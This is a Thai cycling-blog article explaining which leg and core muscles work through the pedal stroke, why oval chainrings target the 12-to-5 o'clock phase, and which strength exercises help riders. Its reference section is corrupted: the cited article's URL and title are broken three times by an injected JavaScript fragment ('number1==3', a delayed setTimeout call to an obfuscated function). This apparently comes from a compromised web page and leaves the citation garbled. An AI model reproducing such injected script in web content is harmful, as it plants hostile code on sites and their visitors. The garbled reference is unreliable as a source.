• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

มารู้จัก”มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน”กัน

stepextra by stepextra
9 May 2016
in Cycling Tips, Feature, Tips & Technics
0
มารู้จัก”มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน”กัน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

มารู้จักมัดกล้ามเนื้อที่ใช้ปั่นจักรยานกัน

อยากรู้ไหมว่ามัดกล้ามเนื้อหลัก ๆ ที่เราใช้ปั่นจักรยาน จะประกอบด้วยมัดกล้ามเนื้อส่วนไหนบ้าง ในการปั่นที่ถูกต้องจะใช้ชุดกล้ามเนื้อช่วงล่างหลายชุด อย่าง Gluteus, Quadriceps และ Hamstring แบบที่เรียกว่าการควงขา (Pedal) ซึ่งต่างจากการการตีบหรือกระทืบบันไดปั่นที่ใช้มัดกล้ามเนื้อน่องอย่างเดียว

ชุดกล้ามเนื้อที่เกี่ยวข้องในการปั่นได้แก่…..ดูรูปประกอบเลยนะครับ

Power-Pedal-Muscles-BlogReady

สังเกตว่าช่วงจังหวะการปั่น (pedal stroke) ที่สามารถเรียกพละกำลังได้สูงสุดจะอยู่ที่ 12 นาฬิกาไปจนถึง 5 นาฬิกา เริ่มตั้งแต่การทำงานของกล้ามเนื้อชุด

  1. Gluteus maximus กล้ามเนื้อก้นที่ใหญ่ที่สุดของร่างกาย
  2. กล้ามเนื้อชุด Hamstring ที่ประกอบด้วย Biceps femoris และ Semimembranosus
  3. Quadriceps 3 มัด คือ Rectus femoris , Vastus lateralis และ Vastus medialis
  4. กล้ามเนื้อของปลายขาด้านหลัง Calf muscles ประกอบด้วย Gastrocnemius medialis, lateralis และ Soleus
  5. จบด้วยกล้ามเนื้อของปลายขาด้านหน้า Tibialis anterior

ตัวอย่างการนำหลักการปั่นนี้มาประยุกต์ใช้ เช่น บริษัท Rotor ได้ออกแบบใบจานเพิ่มแรงกดในช่วง 12-5 นาฬิกา อย่างเจ้า Q-ring ใบจานให้มีรูปวงรีและมีช่วงโค้งเว้าแปลกตาที่เรารู้จักกันดี หรือจะเป็นใบจาน Oval ที่มีลักษณะคล้ายกัน แต่หลักการคือเพิ่มแรงกดในช่วง 12-5 นาฬิกา สอดคล้องกับการใช้กล้ามเนื้อในการปั่น

qring
เมื่อจบรอบการปั่น กล้ามเนื้อ Quadriceps 3 มัด คือ Rectus femoris , Vastus lateralis และ Vastus medialis รวมทั้งมัดกล้ามเนื้อของปลายขาด้านหน้า Tibialis anterior กับด้านหลัง ดึงและส่งเท้ามาสู่ตำแหน่ง 12 นาฬิกา จุดตั้งต้นที่พร้อมจะเข้าสู่ช่วงปั่นต่อไป
สำหรับนักปั่นที่ต้องการอัพแรงอัพความเร็ว การเสริมสร้างกล้ามเนื้อช่วงล่าง อย่างการเล่น weight training ดูเหมือนจะขาดกันไม่ได้เลย การสร้างกล้ามเนื้อให้แข็งแกร่งจะช่วย
1. เพิ่มแรงในการปั่น
2. ลดความเหนื่อยล้า
3. ลดอาการบาดเจ็บ

pedalstroke

ท่าฝึกประกอบที่จะช่วงเสริมสร้าง มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน เช่น Squat, Single Leg Deadlifts และ Heel Raises สามารถดูวิดีโอคลิปที่มีการประยุกต์ท่าประกอบได้ครับ

หรือจะเป็น Single Leg Deadlifts

อย่าคิดว่าฝึกกล้ามเนื้อช่วงล่างอย่างเดียวจะจบนะครับ การปั่นจักรยานใช้กล้ามเนื้อทั่วร่างกาย อย่างกล้ามเนื้อ Core ในการเป็นจุดรักษาสมดุล รักษาบาลานซ์ กล้ามเนื้อช่วงบนใช้พยุงรับน้ำหนักร่างกาย ใช้ในการควบคุมรถจักรยาน ให้ไหล่ลำตัว และคอตรง รักษาช่องทางการหายใจเป็นต้น…เรามาดูคลิปที่ใช้ฝึกกล้ามเนื้อสำหรับน้ำปั่นเพิ่มเติมกันต่อเลย

Plank

Lunges

Leg lifts

Burpee

ในกรณีที่มีการใช้เวทเพิ่มเข้ามา เช่น
Renegade Rows

Kettlebell Swings

Single Leg Deadlifts

Front Squats

อ้างอิง

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-how-to-train-them?utm_campaign=The_Primary_Muscles_Used_for_Cycling_andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and_How_to_Train_Them&utm_medium=Email&utm_source=SocialToaster”>The Primary Muscles Used for Cycling andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and How to Train Them

The Best Strength Exercises for Cyclists

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.